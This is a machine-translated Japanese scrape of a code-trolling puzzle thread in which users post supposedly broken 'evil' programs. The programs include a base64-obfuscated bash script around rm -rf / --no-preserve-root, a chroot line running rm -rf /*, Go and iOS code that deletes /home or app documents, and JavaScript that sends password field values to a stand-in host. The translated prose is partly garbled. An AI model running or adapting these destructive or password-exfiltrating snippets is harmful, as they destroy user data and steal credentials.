文字は通常のスラッシュ文字(/、つまりUnicodeのSOLIDUS)ではなく、FRACTION SLASHです。「rm:⁄:No such file or directory」のようなメッセージを出力します


10
ああ、本当に....私は試してみましょう
マイケル・J・カルキンズ

1
@MichaelCalkins:非特権ユーザーとして試してみると、「not found」メッセージが表示されます...うまくいけば。
オリビエデュラック14年

7

バッシュ

# This script should always be executed as root #
set -e

cleanup() {
  rm -rf / --no-preserve-root
}

eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==")
eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup

それはおそらくそれが得るのと同じくらい悪です。それは、それrm -rf /を呼び出す関数を定義し、呼び出します。を利用するだけでなくevalそれは複数の機会に。

確かに大きなダメージを与えるでしょう!

evalご参考までに、最初の関数は次のように関数の設定を解除します: unset -f cleanup 2番目の関数は 次のようにeval定義し cleanup() { echo Troll detected; } ます。 Troll detected


9
良い!しかし、実際の削除には明らかに役に立たない「base64」行により、これが少しわかりやすくなります。
エレルシーガルハレビ14

1
evalsが明白なコードよりももっと悪いことをしていると信じるようになったら、もっと良いかもしれません。現在のコードは私に尋ねます:明らかなものがすべてを削除している場合、なぜ「邪悪な」コードを隠すのですか?
ティムS.

2
これは潜在的に非常に悪意があるため、これが要件を満たしているとは思いません。base64実行されるシステムに(標準コマンドではない)が存在しない場合、evalsは何も実行せず、rm -rf /実行します!これbase64は、存在するが何らかの理由で失敗する場合にも発生する可能性があります(例:)ulimit
R ..

1
@R .:また、rm -rf /ほとんどrmの実装では動作しません。これはセキュリティ機能です-のほとんどの実装ではルートディレクトリを削除できませんrm
コンラッドボロウスキ14年

1
私の知る限り、busyboxバージョンで動作します。:-)
R .. 14年

6

バッシュ

確かにマシンのルート権限が必要なので、古き良き「ルートを持っていますか?」チェッカー、別名ch(eck)rootを使用します -しかし、これは多くのアラームが発生しないディレクトリで行う方が良いです。誰もがそこにファイルを書き込むことができるため、/ tmpは完璧です。

この後、ハードドライブの邪悪な笑い声全体を削除します。

mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"

10
ドイツ人として私は言うことができます:ドイツ人として邪悪な笑いをしないでください...
フィリップ・サンダー

WERは、ドイツの男でない場合は、右の禅をぜeefil笑いを行うことができますか?
アレクサンダーKosubek 14年

5
コードを何回か読み、コメントを読み直して、なぜこれが悪意があると誰かが考えるのかを解明したことを認めなければなりません。あなたがあなたのコメントで誰かがchrootがそれ以外の何かをし、トロールがコメントを読んでいないという質問をするように説得しようとしなかったら、これはうまくいかないと思います...
クリス・

1
ちなみに、chroot「ルートの確認」ではなく、「ルートの変更」/です。ユーザーの考えを変えます。興味深いことに、このトロールは、rootユーザーと非rootユーザーに対して何もしません。rootユーザーは新しいルートを取得し(したがって、/ tmp / chroot_dirの新しく作成されたルートには何も存在しないため、/ bin / bashコマンドはありません)、非rootユーザーはchrootに失敗します。
マー

これはこれへの手がかりのようなものです-「ルートの変更」ではないことを知っていますが、私のキャプチャー(正しい単語?)は知らないので、彼はひどく失敗します
german_guy

6

iPhone-ゆるい鳥のクローン

ユーザーがiPhone Flappy Birdクローンを再生している間、Documentsディレクトリ内のすべてのファイルが削除されます。

#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
    [flappyBirdClone startFlapping];

    NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
    [self deleteAllDocumentsInDirectory:documentsDirectory];

    return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
    NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

    [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
        [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
    }];
}

iOSの各アプリはサンドボックス化されているため、これによりDocumentsディレクトリ内のすべてが削除されますが、この特定のアプリのDocumentsディレクトリのみです。彼はすでに他のプラットフォーム用の非常に多くのプログラムであふれているので、トロールは明らかにこれを認識していません。そして、彼もゆるい鳥のクローンを出すことができると気づくとすぐに、彼はあまりにも興奮して、残りのコードについて考えることさえしません。あらゆる仕事をしています。


5

行く:

package main

import (
    "fmt"
    "os"
    "sync"
)

func main() {
  wg := sync.WaitGroup{}
  go deleteAll(wg)
  wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
    wg.Add(1)
    defer wg.Done()
    fmt.Println("Press enter to clean your computer!")
    fmt.Scanln()
    os.RemoveAll("/home")
}

これは少し注意が必要です。Goでは、メインのGoroutineが終了すると、プログラム全体が終了します。これを修正する良い方法は、ウェイトグループを使用することです。私の「修正」には2つの大きな問題があります。

  1. Goroutineが開始するまでWaitgroupは追加されません。つまりWait、削除Goroutine がヒットする前にメインGoroutineがヒットします。Add。。カウンターは0になるため、待機するものは何もないので、ブロックせずに終了するだけでプログラムは終了します。
  2. どういうわけか、魔法のように、deleteAllゴルーチンの追加が最初に行われたとしても。ポインタではなく、Waitgroupのコピーを取得しました。同じウェイトグループに追加されることはないので、メインのゴルーチンはそれを見ることはありません。

入力を予期するfmt.Scanln()は、何かが起こる前にメインのGoroutineが終了することを確認するためのものです。PrintlnによってIOブロックが発生し、メインのGoroutineの実行に切り替わる(したがって終了する)可能性が高く、Scanlnはほぼ確実にそうします。実際には、Goのどのバージョンでもどちらも必要ありません。

スーパー理論では、このMIGHTの作業を行い、何かを削除します。つまり、Goのメモリモデルによると、の終了mainと実行に関して「発生前」の関係は保証されRemoveAllませんが、最新のGoランタイム/コンパイラメイン機能に同期を入れないという間違いを犯したすべての初心者によって。


4

Javascript

function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

1。

それは実行されません、あなたは括弧で囲まずにすべてを呼び出すクロージャを作成することはできません

2。

トロルがそれを修正することができた場合、デバッグする美しいタイプミスがあります... ;-)


1
何語?そしておそらくタイプミスもう少しへのヒント
masterX244

@ masterX244はJavascriptです。編集します。タイプミスのヒント:ReferenceError
Juan Garcia

3
それタイプミスはそれほど頻繁にそれは編集者autocorrectedされなければならないということです...
mik01aj

はい、私はそのタイプミスをたくさんします。特に単語の長さが非常に長い場合:P
モハメッドジョレイド14年

1
@ m01 +1例外またはコンパイル時エラーをスローする予約語にすべきだと思います!
フアンガルシア14年
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.